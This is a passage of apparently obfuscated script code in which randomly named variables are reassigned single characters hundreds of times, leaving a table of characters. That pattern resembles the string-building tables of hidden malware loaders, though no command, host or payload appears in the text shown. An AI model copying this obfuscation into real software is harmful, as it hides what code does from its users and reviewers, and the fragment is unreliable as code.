152	upekrqkj = "l";
153	upekrqkj = "m";
154	upekrqkj = "p";
155	upekrqkj = "u";
156	upekrqkj = "h";
157	upekrqkj = "d";
158	upekrqkj = "t";
159	upekrqkj = "Q";
160	upekrqkj = "L";
161	upekrqkj = "k";
162	upekrqkj = "n";
163	upekrqkj = "u";
164	upekrqkj = "z";
165	upekrqkj = "f";
166	upekrqkj = "u";
167	upekrqkj = "i";
168	upekrqkj = "U";
169	upekrqkj = "C";
170	upekrqkj = "a";
171	upekrqkj = "F";
172	upekrqkj = "t";
173	upekrqkj = "O";
174	upekrqkj = "L";
175	upekrqkj = "d";
176	upekrqkj = "D";
177	upekrqkj = "W";
178	upekrqkj = "p";
179	upekrqkj = "T";
180	upekrqkj = "5";
181	jdveax = "B";
182	jdveax = "Q";
183	jdveax = "i";
184	jdveax = "U";
185	jdveax = "r";
186	jdveax = "w";
187	jdveax = "e";
188	jdveax = "B";
189	jdveax = "P";
190	jdveax = "W";
191	jdveax = "e";
192	jdveax = "h";
193	jdveax = "x";
194	jdveax = "I";
195	jdveax = "n";
196	jdveax = "Z";
197	jdveax = "F";
198	jdveax = "z";
199	jdveax = "S";
200	jdveax = "G";
201	jdveax = "d";
202	jdveax = "Q";
203	jdveax = "H";
204	jdveax = "Q";
205	hrlghxk = "i";
206	hrlghxk = "C";
207	hrlghxk = "G";
208	hrlghxk = "o";
209	hrlghxk = "m";
210	hrlghxk = "w";
211	hrlghxk = "G";
212	hrlghxk = "o";
213	hrlghxk = "O";
214	hrlghxk = "d";
215	hrlghxk = "i";
216	hrlghxk = "l";
217	hrlghxk = "w";
218	hrlghxk = "G";
219	hrlghxk = "f";
220	hrlghxk = "P";
221	hrlghxk = "a";
222	hrlghxk = "E";
223	hrlghxk = "P";
224	hrlghxk = "Z";
225	hrlghxk = "W";
226	hrlghxk = "C";
227	dbrkx = "k";
228	dbrkx = "B";
229	dbrkx = "f";
230	dbrkx = "J";
231	dbrkx = "G";
232	dbrkx = "i";
233	dbrkx = "a";
234	dbrkx = "w";
235	dbrkx = "l";
236	dbrkx = "Y";
237	dbrkx = "r";
238	dbrkx = "b";
239	dbrkx = "R";
240	dbrkx = "J";
241	dbrkx = "k";
242	dbrkx = "L";
243	dbrkx = "K";
244	dbrkx = "Z";
245	dbrkx = "v";
246	dbrkx = "Y";
247	wiexzrqsj = "G";
248	wiexzrqsj = "V";
249	wiexzrqsj = "H";
250	wiexzrqsj = "k";
251	wiexzrqsj = "w";
252	wiexzrqsj = "M";
253	wiexzrqsj = "e";
254	wiexzrqsj = "Q";
255	wiexzrqsj = "q";
256	wiexzrqsj = "T";
257	wiexzrqsj = "b";
258	wiexzrqsj = "g";
259	wiexzrqsj = "C";
260	wiexzrqsj = "n";
261	wiexzrqsj = "K";
262	wiexzrqsj = "Y";
263	wiexzrqsj = "k";
264	wiexzrqsj = "f";
265	wiexzrqsj = "A";
266	wiexzrqsj = "I";
267	wiexzrqsj = "a";
268	wiexzrqsj = "P";
269	wiexzrqsj = "h";
270	wiexzrqsj = "p";
271	wiexzrqsj = "a";
272	wiexzrqsj = "j";
273	wiexzrqsj = "b";
274	wiexzrqsj = "T";
275	wiexzrqsj = "R";
276	wiexzrqsj = "L";
277	wiexzrqsj = "Q";
278	wiexzrqsj = "E";
279	wiexzrqsj = "-";
280	snolbumnc = "d";
281	snolbumnc = "o";
282	snolbumnc = "n";
283	snolbumnc = "w";
284	snolbumnc = "a";
285	snolbumnc = "Q";
286	snolbumnc = "d";
287	snolbumnc = "C";
288	snolbumnc = "l";
289	snolbumnc = "s";
290	snolbumnc = "p";
291	snolbumnc = "T";
292	snolbumnc = "S";
293	snolbumnc = ":";
294	rthyxxnc = "P";
295	rthyxxnc = "f";
296	rthyxxnc = "X";
297	rthyxxnc = "G";
298	rthyxxnc = "t";
299	rthyxxnc = "U";
300	rthyxxnc = "r";
301	rthyxxnc = "T";
302	rthyxxnc = "j";
303	rthyxxnc = "Q";
304	rthyxxnc = "A";
305	rthyxxnc = "C";
306	rthyxxnc = "O";
307	rthyxxnc = "m";
308	rthyxxnc = "l";
309	rthyxxnc = "T";
310	rthyxxnc = "Q";
311	rthyxxnc = "V";
312	rthyxxnc = "j";
313	rthyxxnc = "d";
314	rthyxxnc = "_";
315	qjprwjz = "U";
316	qjprwjz = "f";
317	qjprwjz = "Q";
318	qjprwjz = "t";
319	qjprwjz = "T";
320	qjprwjz = "m";
321	qjprwjz = "C";
322	qjprwjz = "w";
323	qjprwjz = "n";
324	qjprwjz = "E";
325	qjprwjz = "L";
326	qjprwjz = "J";
327	qjprwjz = "E";
328	qjprwjz = "Y";
329	qjprwjz = "m";
330	qjprwjz = "D";
331	qjprwjz = "B";
332	qjprwjz = "l";
333	qjprwjz = "y";
334	qjprwjz = "m";
335	qjprwjz = "D";
336	qjprwjz = "u";
337	qjprwjz = "B";
338	qjprwjz = "E";
339	qjprwjz = "a";
340	qjprwjz = "l";
341	qjprwjz = "p";
342	qjprwjz = "U";
343	qjprwjz = "e";
344	qjprwjz = "F";
345	qjprwjz = "M";
346	qjprwjz = "V";
347	qjprwjz = "k";
348	qjprwjz = "w";
349	qjprwjz = "d";
350	puodthur = "J";
351	puodthur = "e";
352	puodthur = "K";
353	puodthur = "H";
354	puodthur = "O";
355	puodthur = "R";
356	puodthur = "a";
357	puodthur = "j";
358	puodthur = "a";
359	puodthur = "s";
360	puodthur = "E";
361	puodthur = "u";
362	puodthur = "Q";
363	puodthur = "y";
364	puodthur = "F";
365	zdjlyya = "E";
366	zdjlyya = "h";
367	zdjlyya = "r";
368	zdjlyya = "S";
369	zdjlyya = "&";
370	hjgujge = "C";
371	hjgujge = "K";
372	hjgujge = "c";
373	hjgujge = "I";
374	hjgujge = "x";
375	hjgujge = "t";
376	hjgujge = "w";
377	hjgujge = "X";
378	hjgujge = "r";
379	hjgujge = "Y";
380	hjgujge = "g";
381	hjgujge = "T";
382	hjgujge = "c";
383	hjgujge = "Q";
384	hjgujge = "o";
385	hjgujge = "u";
386	hjgujge = "X";
387	hjgujge = "l";
388	hjgujge = "U";
389	hjgujge = "l";
390	hjgujge = "k";
391	hjgujge = "r";
392	hjgujge = "f";
393	hjgujge = "E";
394	dhpxpusyz = "a";
395	dhpxpusyz = "B";
396	dhpxpusyz = "c";
397	dhpxpusyz = "b";
398	dhpxpusyz = "G";
399	dhpxpusyz = "U";
400	dhpxpusyz = "N";
401	dhpxpusyz = "n";
402	dhpxpusyz = "Z";
403	dhpxpusyz = "c";
404	dhpxpusyz = "e";
405	dhpxpusyz = "R";
406	dhpxpusyz = "c";
407	dhpxpusyz = "T";
408	rnpcxj = "M";
409	rnpcxj = "c";
410	rnpcxj = "T";
411	rnpcxj = "M";
412	rnpcxj = "D";
413	rnpcxj = "u";
414	rnpcxj = "b";
415	rnpcxj = "a";
416	rnpcxj = "X";
417	rnpcxj = "Q";
418	rnpcxj = "G";
419	rnpcxj = "V";
420	rnpcxj = "J";
421	rnpcxj = "u";
422	rnpcxj = "u";
423	rnpcxj = "l";
424	rnpcxj = "n";
425	rnpcxj = "x";
426	rnpcxj = "Z";
427	rnpcxj = "G";
428	rnpcxj = "q";
429	rnpcxj = "u";
430	rnpcxj = "d";
431	rnpcxj = "Z";
432	rnpcxj = "g";
433	rnpcxj = "Q";
434	rnpcxj = "G";
435	rnpcxj = "J";
436	rnpcxj = "M";
437	rnpcxj = "c";
438	rnpcxj = "V";
439	rnpcxj = "C";
440	rnpcxj = "g";
441	rnpcxj = "X";
442	rnpcxj = "w";
443	rpataksk = "n";
444	rpataksk = "b";
445	rpataksk = "Y";
446	rpataksk = "K";
447	rpataksk = "E";
448	rpataksk = "A";
449	rpataksk = "c";
450	rpataksk = "n";
451	rpataksk = "B";
452	rpataksk = "j";
453	rpataksk = "g";
454	rpataksk = "V";
455	rpataksk = "u";
456	rpataksk = "d";
457	rpataksk = "m";
458	rpataksk = "W";
459	rpataksk = "r";
460	rpataksk = "j";
461	rpataksk = "c";
462	rpataksk = "C";
463	rpataksk = "L";
464	rpataksk = "b";
465	rpataksk = "M";
466	rpataksk = "A";
467	rpataksk = "K";
468	rpataksk = "R";
469	rpataksk = "o";
470	rpataksk = "A";
471	rpataksk = "p";
472	rpataksk = "R";
473	rpataksk = "r";
474	rpataksk = "c";
475	rpataksk = "p";
476	rpataksk = "L";
477	rpataksk = "3";
478	suaueucrm = "7";
479	vynnuo = "D";
480	vynnuo = "W";
481	vynnuo = "g";
482	vynnuo = "V";
483	vynnuo = "s";
484	vynnuo = "c";
485	vynnuo = "s";
486	vynnuo = "L";
487	vynnuo = "Y";
488	vynnuo = "n";
489	pgpzry = "q";
490	pgpzry = "e";
491	pgpzry = "C";
492	pgpzry = "L";
493	pgpzry = "A";
494	pgpzry = "S";
495	pgpzry = "A";
496	pgpzry = "F";
497	pgpzry = "d";
498	pgpzry = "a";
499	pgpzry = "a";
500	pgpzry = "C";
501	pgpzry = "B";
502	pgpzry = "u";
503	pgpzry = "H";
504	pgpzry = "i";
505	pgpzry = "a";
506	pgpzry = "U";
507	pgpzry = "e";
508	pgpzry = "l";
509	pgpzry = "N";
510	pgpzry = "j";
511	pgpzry = "R";
512	pgpzry = "n";
513	pgpzry = "k";
514	pgpzry = "T";
515	pgpzry = "b";
516	pgpzry = "e";
517	pgpzry = "e";
518	pgpzry = "K";
519	pgpzry = "t";
520	pgpzry = "E";
521	pgpzry = "J";
522	pgpzry = "h";
523	pgpzry = "c";
524	pgpzry = "a";
525	pgpzry = "a";
526	stjpts = "v";
527	stjpts = "O";
528	stjpts = "t";
529	stjpts = "F";
530	stjpts = "L";
531	stjpts = "R";
532	stjpts = "Q";
533	stjpts = "B";
534	stjpts = "H";
535	stjpts = "g";
536	stjpts = "p";
537	sfsrgkfq = "y";
538	sfsrgkfq = "F";
539	sfsrgkfq = "m";
540	sfsrgkfq = "n";
541	sfsrgkfq = "X";
542	sfsrgkfq = "G";
543	sfsrgkfq = "n";
544	sfsrgkfq = "h";
545	sfsrgkfq = "j";
546	sfsrgkfq = "m";
547	sfsrgkfq = "y";
548	sfsrgkfq = "q";
549	sfsrgkfq = "T";
550	sfsrgkfq = "m";
551	sfsrgkfq = "t";
552	sfsrgkfq = "F";
553	sfsrgkfq = "g";
554	sfsrgkfq = "n";
555	sfsrgkfq = "V";
556	sfsrgkfq = "q";
557	sfsrgkfq = "w";
558	sfsrgkfq = "r";
559	sfsrgkfq = "r";
560	sfsrgkfq = "x";
561	sfsrgkfq = "Q";
562	sfsrgkfq = "/";
563	cpzpmyxw = "H";
564	cpzpmyxw = "V";
565	cpzpmyxw = "m";
566	cpzpmyxw = "N";
567	cpzpmyxw = "m";
568	cpzpmyxw = "D";
569	cpzpmyxw = " ";
570	mnblsxqey = "k";
571	mnblsxqey = "z";
572	mnblsxqey = "D";
573	mnblsxqey = "o";
574	mnblsxqey = "V";
575	mnblsxqey = "u";
576	mnblsxqey = "g";
577	mnblsxqey = "C";
578	mnblsxqey = "d";
579	mnblsxqey = "j";
580	mnblsxqey = "C";
581	mnblsxqey = "P";
582	mnblsxqey = "a";
583	mnblsxqey = "N";
584	mnblsxqey = "P";
585	mnblsxqey = "o";
586	mnblsxqey = "L";
587	utggtw = "k";
588	utggtw = "c";
589	utggtw = "b";
590	utggtw = "k";
591	utggtw = "L";
592	utggtw = "M";
593	utggtw = "K";
594	utggtw = "H";
595	utggtw = "x";
596	utggtw = "Z";
597	utggtw = "q";
598	utggtw = "n";
599	utggtw = "p";
600	utggtw = "w";
601	utggtw = "r";
602	utggtw = "a";
603	utggtw = "m";
604	utggtw = "Q";
605	utggtw = "d";
606	utggtw = "c";
607	utggtw = "e";
608	utggtw = "k";
609	utggtw = "U";
610	utggtw = "p";
611	utggtw = "o";
612	utggtw = "V";
613	utggtw = "s";
614	utggtw = "r";
615	utggtw = "j";
616	utggtw = "V";
617	utggtw = "L";
618	utggtw = "T";
619	utggtw = "d";
620	utggtw = "U";
621	utggtw = "S";
622	inoyfvwwu = "g";
623	inoyfvwwu = "P";
624	inoyfvwwu = "S";
625	inoyfvwwu = "F";
626	inoyfvwwu = "E";
627	inoyfvwwu = "z";
628	inoyfvwwu = "A";
629	inoyfvwwu = "m";
630	inoyfvwwu = "k";
631	inoyfvwwu = "E";
632	inoyfvwwu = "z";
633	inoyfvwwu = "l";
634	inoyfvwwu = "d";
635	inoyfvwwu = "P";
636	inoyfvwwu = "r";
637	inoyfvwwu = "Z";
638	inoyfvwwu = "F";
639	inoyfvwwu = "x";
640	inoyfvwwu = "D";
641	inoyfvwwu = "z";
642	inoyfvwwu = "t";
643	inoyfvwwu = "m";
644	inoyfvwwu = "o";
645	inoyfvwwu = "z";
646	inoyfvwwu = "H";
647	inoyfvwwu = "P";
648	inoyfvwwu = "X";
649	inoyfvwwu = "p";
650	inoyfvwwu = "v";
651	inoyfvwwu = "E";
652	inoyfvwwu = "O";
653	inoyfvwwu = "v";
654	inoyfvwwu = "R";
655	inoyfvwwu = "m";
656	svbqt = "C";
657	svbqt = "c";
658	svbqt = "a";
659	svbqt = "I";
660	svbqt = "B";
661	svbqt = "p";
662	svbqt = "P";
663	svbqt = "g";
664	svbqt = "V";
665	svbqt = "v";
666	svbqt = "t";
667	svbqt = "D";
668	svbqt = "x";
669	svbqt = "G";
670	svbqt = "b";
671	svbqt = "o";
672	svbqt = "t";
673	svbqt = "a";
674	svbqt = "H";
675	svbqt = "k";
676	svbqt = "o";
677	svbqt = "V";
678	svbqt = "c";
679	svbqt = "h";
680	svbqt = "f";
681	svbqt = "e";
682	svbqt = "S";
683	svbqt = "a";
684	svbqt = "R";
685	svbqt = "x";
686	svbqt = "g";
687	svbqt = "R";
688	svbqt = "Y";
689	svbqt = "p";
690	svbqt = "P";
691	svbqt = "Y";
692	svbqt = "v";
693	svbqt = "S";
694	svbqt = "E";
695	svbqt = "y";
696	svbqt = "b";
697	svbqt = "J";
698	svbqt = "Q";
699	svbqt = "z";
700	svbqt = "b";
701	dhvswxsch = "v";
702	dhvswxsch = "B";
703	dhvswxsch = "z";
704	dhvswxsch = "P";
705	dhvswxsch = "w";
706	dhvswxsch = "m";
707	dhvswxsch = "l";
708	dhvswxsch = "N";
709	dhvswxsch = "W";
710	dhvswxsch = "p";
711	dhvswxsch = "H";
712	dhvswxsch = "Y";
713	dhvswxsch = "V";
714	dhvswxsch = "I";
715	dhvswxsch = "h";
716	dhvswxsch = "t";
717	dhvswxsch = "x";
718	dhvswxsch = "c";
719	dhvswxsch = "W";
720	dhvswxsch = "y";
721	dhvswxsch = "s";
722	tkgcjyx = "g";
723	tkgcjyx = "d";
724	tkgcjyx = "I";
725	qgecnjj = "a";
726	qgecnjj = "n";
727	qgecnjj = "m";
728	qgecnjj = "C";
729	qgecnjj = "z";
730	qgecnjj = "I";
731	qgecnjj = "W";
732	qgecnjj = "o";
733	qgecnjj = "q";
734	qgecnjj = "Y";
735	qgecnjj = "f";
736	qgecnjj = "I";
737	qgecnjj = "F";
738	qgecnjj = "h";
739	qgecnjj = "b";
740	qgecnjj = "r";
741	qgecnjj = "m";
742	qgecnjj = "N";
743	qgecnjj = "H";
744	qgecnjj = "i";
745	qgecnjj = "x";
746	udfce = "U";
747	udfce = "X";
748	udfce = "q";
749	udfce = "X";
750	udfce = "H";
751	udfce = "X";
752	udfce = "v";
753	udfce = "M";
754	udfce = "i";
755	udfce = "Q";
756	udfce = "g";
757	udfce = ".";
758	ulviylfk = "A";
759	ulviylfk = "n";
760	ulviylfk = "S";
761	ulviylfk = "a";
762	ulviylfk = "n";
763	ulviylfk = "R";
764	wncislud = "e";
765	vxjxt = "H";
766	vxjxt = "w";
767	vxjxt = "a";
768	vxjxt = "u";
769	vxjxt = "x";
770	vxjxt = "b";
771	vxjxt = "m";
772	vxjxt = "l";
773	vxjxt = "K";
774	vxjxt = "L";
775	vxjxt = "h";
776	vxjxt = "l";
777	vxjxt = "S";
778	vxjxt = "D";
779	vxjxt = "g";
780	vxjxt = "Y";
781	vxjxt = "I";
782	vxjxt = "X";
783	vxjxt = "u";
784	vxjxt = "G";
785	vxjxt = "o";
786	vxjxt = "Q";
787	vxjxt = "K";
788	vxjxt = "E";
789	vxjxt = "t";
790	vxjxt = "M";
791	vxjxt = "z";
792	vxjxt = "A";
793	vxjxt = "p";
794	vxjxt = "l";
795	vxjxt = "u";
796	vxjxt = "H";
797	vxjxt = "Z";
798	vxjxt = "f";
799	vxjxt = "q";
800	vxjxt = "W";
801	vxjxt = "Q";
802	vxjxt = "Q";
803	vxjxt = "n";
804	vxjxt = "r";
805	vxjxt = "w";
806	vxjxt = "i";
807	lspxiqf = "D";
808	lspxiqf = "e";
809	lspxiqf = "r";
810	lspxiqf = "n";
811	lspxiqf = "m";
812	lspxiqf = "P";
813	thdcv = "g";
814	thdcv = "a";
815	thdcv = "K";
816	thdcv = "V";
817	thdcv = "g";
818	thdcv = "y";
819	thdcv = "B";
820	thdcv = "g";
821	thdcv = "w";
822	thdcv = "c";
823	thdcv = "n";
824	thdcv = "E";
825	thdcv = "B";
826	thdcv = "h";
827	thdcv = "x";
828	thdcv = "r";
829	thdcv = "l";
830	thdcv = "B";
831	thdcv = "h";
832	thdcv = "y";
833	thdcv = "D";
834	thdcv = "F";
835	thdcv = "Q";
836	thdcv = "S";
837	thdcv = "f";
838	thdcv = "O";
839	thdcv = "m";
840	thdcv = "0";
841	zoaziqh = "k";
842	zoaziqh = "G";
843	zoaziqh = "L";
844	zoaziqh = "g";
845	zoaziqh = "Y";
846	zoaziqh = "q";
847	zoaziqh = "g";
848	zoaziqh = "M";
849	zoaziqh = "Y";
850	zoaziqh = "R";
851	zoaziqh = "K";
852	zoaziqh = "V";
853	zoaziqh = "I";
854	zoaziqh = "w";
855	zoaziqh = "t";
856	zoaziqh = "q";
857	zoaziqh = "e";
858	zoaziqh = "Z";
859	zoaziqh = "a";
860	zoaziqh = "F";
861	zoaziqh = "I";
862	zoaziqh = "q";
863	zoaziqh = "N";
864	zoaziqh = "R";
865	zoaziqh = "P";
866	zoaziqh = "s";
867	zoaziqh = "Q";
868	zoaziqh = "H";
869	ybyvi = "l";
870	vnjun = "z";
871	vnjun = "C";
872	vnjun = "b";
873	vnjun = "s";
874	vnjun = "B";
875	vnjun = "N";
876	vnjun = "j";
877	vnjun = "A";
878	vnjun = "y";
879	vnjun = "R";
880	vnjun = "M";
881	vnjun = "U";
882	vnjun = "h";
883	vnjun = "t";
884	vnjun = "k";
885	vnjun = "w";
886	vnjun = "P";
887	vnjun = "A";
888	vnjun = "f";
889	vnjun = "c";
890	vnjun = "k";
891	vnjun = "g";
892	vnjun = "s";
893	vnjun = "u";
894	vnjun = "g";
895	ybwbtuq = "M";
896	ybwbtuq = "A";
897	ybwbtuq = "t";
898	ybwbtuq = "L";
899	ybwbtuq = "F";
900	ybwbtuq = "x";
901	ybwbtuq = "Y";
902	ybwbtuq = "z";
903	ybwbtuq = "z";
904	ybwbtuq = "X";
905	ybwbtuq = "D";
906	ybwbtuq = "N";
907	ybwbtuq = "j";
908	ybwbtuq = "q";
909	ybwbtuq = "x";
910	ybwbtuq = "Q";
911	ybwbtuq = "G";
912	ybwbtuq = "g";
913	ybwbtuq = "M";
914	ybwbtuq = "t";
915	ybwbtuq = "K";
916	ybwbtuq = "k";
917	ybwbtuq = "z";
918	ybwbtuq = "s";
919	ybwbtuq = "U";
920	ybwbtuq = "o";
921	ybwbtuq = "h";
922	ybwbtuq = "c";
923	ybwbtuq = "u";
924	ybwbtuq = "N";
925	ybwbtuq = "D";
926	ybwbtuq = "q";
927	ybwbtuq = "N";
928	ybwbtuq = "P";
929	ybwbtuq = "Q";
930	ybwbtuq = "N";
931	ybwbtuq = "b";
932	ybwbtuq = "b";
933	ybwbtuq = "Z";
934	ybwbtuq = "w";
935	ybwbtuq = "f";
936	ybwbtuq = "Z";
937	ybwbtuq = "\"";
938	cqfcef = "A";
939	cqfcef = "J";
940	cqfcef = "t";
941	cqfcef = "%";
942	yybeurke = "i";
943	yybeurke = "d";
944	yybeurke = "w";
945	yybeurke = "D";
946	yybeurke = "d";
947	yybeurke = "M";
948	yybeurke = "m";
949	yybeurke = "q";
950	yybeurke = "u";
951	yybeurke = "W";
952	yybeurke = "W";
953	yybeurke = "r";
954	yybeurke = "s";
955	yybeurke = "P";
956	yybeurke = "B";
957	yybeurke = "R";
958	yybeurke = "k";
959	yybeurke = "i";
960	yybeurke = "o";
961	yybeurke = "x";
962	yybeurke = "w";
963	yybeurke = "V";
964	yybeurke = "l";
965	yybeurke = "c";
966	wluwh = "t";
967	wluwh = "I";
968	wluwh = "U";
969	wluwh = "K";
970	wluwh = "D";
971	wluwh = "n";
972	wluwh = "A";
973	wluwh = "v";
974	wluwh = "V";
975	wluwh = "D";
976	wluwh = "K";
977	wluwh = "c";
978	wluwh = "I";
979	wluwh = "l";
980	wluwh = "t";
981	wluwh = "H";
982	wluwh = "F";
983	wluwh = "X";
984	wluwh = "J";
985	wluwh = "v";
986	wluwh = "M";
987	wluwh = "C";
988	wluwh = "X";
989	wluwh = "T";
990	wluwh = "p";
991	wluwh = "U";
992	wluwh = "G";
993	wluwh = "W";
994	wluwh = "l";
995	wluwh = "z";
996	wluwh = "x";
997	wluwh = "N";
998	wluwh = "E";
999	wluwh = "H";
1000	wluwh = "f";
1001	vbcemx = "x";
1002	vbcemx = "c";
1003	vbcemx = "J";
1004	vbcemx = "d";
1005	vbcemx = "E";
1006	vbcemx = "L";
1007	vbcemx = "X";
1008	vbcemx = "K";
1009	vbcemx = "B";
1010	vbcemx = "X";
1011	vbcemx = "C";
1012	vbcemx = "R";
1013	vbcemx = "c";
1014	vbcemx = "l";
1015	vbcemx = "s";
1016	vbcemx = "R";
1017	vbcemx = "o";
1018	tnndzuug = "R";
1019	tnndzuug = "G";
1020	tnndzuug = "k";
1021	tnndzuug = "I";
1022	tnndzuug = "f";
1023	tnndzuug = "R";
1024	tnndzuug = "n";
1025	tnndzuug = "e";
1026	tnndzuug = "P";
1027	tnndzuug = "h";
1028	tnndzuug = "B";
1029	tnndzuug = "x";
1030	tnndzuug = "b";
1031	tnndzuug = "q";
1032	tnndzuug = "m";
1033	tnndzuug = "o";
1034	tnndzuug = "t";
1035	tnndzuug = "L";
1036	tnndzuug = "S";
1037	tnndzuug = "y";
1038	tnndzuug = "o";
1039	tnndzuug = "Z";
1040	tnndzuug = "l";
1041	tnndzuug = "w";
1042	tnndzuug = "N";
1043	sthqjwkn = "a";
1044	sthqjwkn = "g";
1045	sthqjwkn = "b";
1046	sthqjwkn = "g";
1047	sthqjwkn = "N";
1048	sthqjwkn = "F";
1049	sthqjwkn = "K";
1050	sthqjwkn = "v";
1051	sthqjwkn = "w";
1052	sthqjwkn = "J";
1053	sthqjwkn = "e";
1054	sthqjwkn = "r";
1055	sthqjwkn = "n";
1056	sthqjwkn = "r";
1057	sthqjwkn = "V";
1058	sthqjwkn = "t";
1059	sthqjwkn = "v";
1060	sthqjwkn = "Q";
1061	sthqjwkn = "c";
1062	sthqjwkn = "m";
1063	sthqjwkn = "e";
1064	sthqjwkn = "N";
1065	sthqjwkn = "W";
1066	sthqjwkn = "M";
1067	sthqjwkn = "k";
1068	sthqjwkn = "C";
1069	sthqjwkn = "u";
1070	sthqjwkn = "z";
1071	sthqjwkn = "r";
1072	sthqjwkn = "C";
1073	sthqjwkn = "F";
1074	sthqjwkn = "o";
1075	sthqjwkn = "l";
1076	sthqjwkn = "C";
1077	sthqjwkn = "p";
1078	sthqjwkn = "Y";
1079	sthqjwkn = "l";
1080	sthqjwkn = "G";
1081	sthqjwkn = "U";
1082	nqddvvcb = "H";
1083	nqddvvcb = "l";
1084	nqddvvcb = "X";
1085	nqddvvcb = "X";
1086	nqddvvcb = "V";
1087	nqddvvcb = "C";
1088	nqddvvcb = "N";
1089	nqddvvcb = "T";
1090	nqddvvcb = "b";
1091	nqddvvcb = "L";
1092	nqddvvcb = "m";
1093	nqddvvcb = "t";
1094	ayxdira = "I";
1095	ayxdira = "w";
1096	ayxdira = "E";
1097	ayxdira = "Y";
1098	ayxdira = "K";
1099	ayxdira = "a";
1100	ayxdira = "s";
1101	ayxdira = "H";
1102	ayxdira = "U";
1103	ayxdira = "W";
1104	ayxdira = "y";
1105	ayxdira = "h";
1106	ayxdira = "A";
1107	ayxdira = "b";
1108	ayxdira = "W";
1109	ayxdira = "j";
1110	ayxdira = "w";
1111	ayxdira = "i";
1112	ayxdira = "j";
1113	ayxdira = "d";
1114	ayxdira = "W";
1115	ayxdira = "O";
1116	ayxdira = "v";
1117	ayxdira = "g";
1118	ayxdira = "e";
1119	ayxdira = "k";
1120	ayxdira = "d";
1121	ayxdira = "i";
1122	ayxdira = "V";
1123	ayxdira = "a";
1124	ayxdira = "f";
1125	ayxdira = "g";
1126	ayxdira = "Y";
1127	ayxdira = "W";
1128	ayxdira = "x";
1129	ayxdira = "u";
1130	jmpvnbwt = "\\";
1131	hmpeuk = "F";
1132	hmpeuk = "w";
1133	hmpeuk = "d";
1134	hmpeuk = "v";
1135	hmpeuk = "I";
1136	hmpeuk = "i";
1137	hmpeuk = "r";
1138	hmpeuk = "j";
1139	hmpeuk = "A";
1140	hmpeuk = "t";
1141	hmpeuk = "m";
1142	hmpeuk = "R";
1143	hmpeuk = "g";
1144	hmpeuk = "E";
1145	hmpeuk = "r";
1146	hmpeuk = "n";
1147	hmpeuk = "d";
1148	hmpeuk = "v";
1149	hmpeuk = "Q";
1150	hmpeuk = "X";
1151	hmpeuk = "x";
1152	hmpeuk = "L";
1153	hmpeuk = "C";
1154	hmpeuk = "P";
1155	hmpeuk = "A";
1156	hmpeuk = "h";
1157	hmpeuk = "a";
1158	hmpeuk = "h";
1159	hmpeuk = "h";
1160	hmpeuk = "k";
1161	eqcnsg = "K";
1162	cgnegk = "N";
1163	cgnegk = "N";
1164	cgnegk = "O";
1165	cgnegk = "M";
1166	cgnegk = "k";
1167	cgnegk = "b";
1168	cgnegk = "y";
1169	cgnegk = "t";
1170	cgnegk = "j";
1171	sewcz = "B";
1172	sewcz = "E";
1173	sewcz = "Y";
1174	sewcz = "f";
1175	sewcz = "S";
1176	sewcz = "R";
1177	sewcz = "h";
1178	sewcz = "o";
1179	sewcz = "L";
1180	sewcz = "W";
1181	sewcz = "u";
1182	sewcz = "x";
1183	sewcz = "H";
1184	sewcz = "R";
1185	sewcz = "m";
1186	sewcz = "g";
1187	sewcz = "H";
1188	sewcz = "C";
1189	sewcz = "o";
1190	sewcz = "B";
1191	sewcz = "X";
1192	sewcz = "U";
1193	sewcz = "s";
1194	sewcz = "O";
1195	sewcz = "H";
1196	sewcz = "X";
1197	sewcz = "Q";
1198	sewcz = "V";
1199	sewcz = "g";
1200	sewcz = "@";
1201	ulxabfrwm = "j";
1202	ulxabfrwm = "d";
1203	ulxabfrwm = "I";
1204	ulxabfrwm = "s";
1205	ulxabfrwm = "E";
1206	ulxabfrwm = "o";
1207	ulxabfrwm = "q";
1208	ulxabfrwm = "w";
1209	ulxabfrwm = "X";
1210	ulxabfrwm = "I";
1211	ulxabfrwm = "H";
1212	ulxabfrwm = "K";
1213	ulxabfrwm = "F";
1214	ulxabfrwm = "h";
1215	ojstfp = "i";
1216	ojstfp = "N";
1217	ojstfp = "t";
1218	ojstfp = "X";
1219	ojstfp = "g";
1220	ojstfp = "W";
1221	ojstfp = "e";
1222	ojstfp = "w";
1223	ojstfp = "a";
1224	ojstfp = "I";
1225	ojstfp = "z";
1226	ojstfp = "J";
1227	ojstfp = "P";
1228	ojstfp = "q";
1229	ojstfp = "r";
1230	ojstfp = "r";
1231	ojstfp = "C";
1232	ojstfp = "R";
1233	ojstfp = "j";
1234	ojstfp = "h";
1235	ojstfp = "4";
1236	dvhlhtekx = "O";
1237	dvhlhtekx = "e";
1238	dvhlhtekx = "H";
1239	dvhlhtekx = "I";
1240	dvhlhtekx = "d";
1241	dvhlhtekx = "i";
1242	dvhlhtekx = "t";
1243	dvhlhtekx = "E";
1244	dvhlhtekx = "Z";
1245	dvhlhtekx = "j";
1246	dvhlhtekx = "O";
1247	pmbiwqyh = "e";
1248	pmbiwqyh = "F";
1249	pmbiwqyh = "M";
1250	pmbiwqyh = "U";
1251	pmbiwqyh = "S";
1252	pmbiwqyh = "Q";
1253	pmbiwqyh = "z";
1254	pmbiwqyh = "v";
1255	pmbiwqyh = "I";
1256	pmbiwqyh = "P";
1257	pmbiwqyh = "O";
1258	pmbiwqyh = "H";
1259	pmbiwqyh = "E";
1260	pmbiwqyh = "Q";
1261	pmbiwqyh = "B";
1262	pmbiwqyh = "N";
1263	pmbiwqyh = "c";
1264	pmbiwqyh = "J";
1265	pmbiwqyh = "V";
1266	pmbiwqyh = "B";
1267	pmbiwqyh = "N";
1268	pmbiwqyh = "S";
1269	pmbiwqyh = "2";
1270	rdrbgbhz = "z";
1271	rdrbgbhz = "W";
1272	rdrbgbhz = "n";
1273	rdrbgbhz = "Z";
1274	rdrbgbhz = "x";
1275	rdrbgbhz = "c";
1276	rdrbgbhz = "t";
1277	rdrbgbhz = "p";
1278	rdrbgbhz = "z";
1279	rdrbgbhz = "u";
1280	rdrbgbhz = "E";
1281	rdrbgbhz = "C";
1282	rdrbgbhz = "Q";
1283	rdrbgbhz = "P";
1284	rdrbgbhz = "R";
1285	rdrbgbhz = "t";
1286	rdrbgbhz = "q";
1287	rdrbgbhz = "x";
1288	rdrbgbhz = "T";
1289	rdrbgbhz = "N";
1290	rdrbgbhz = "E";
1291	rdrbgbhz = "l";
1292	rdrbgbhz = "U";
1293	rdrbgbhz = "d";
1294	rdrbgbhz = "P";
1295	rdrbgbhz = "I";
1296	rdrbgbhz = "G";
1297	rdrbgbhz = "J";
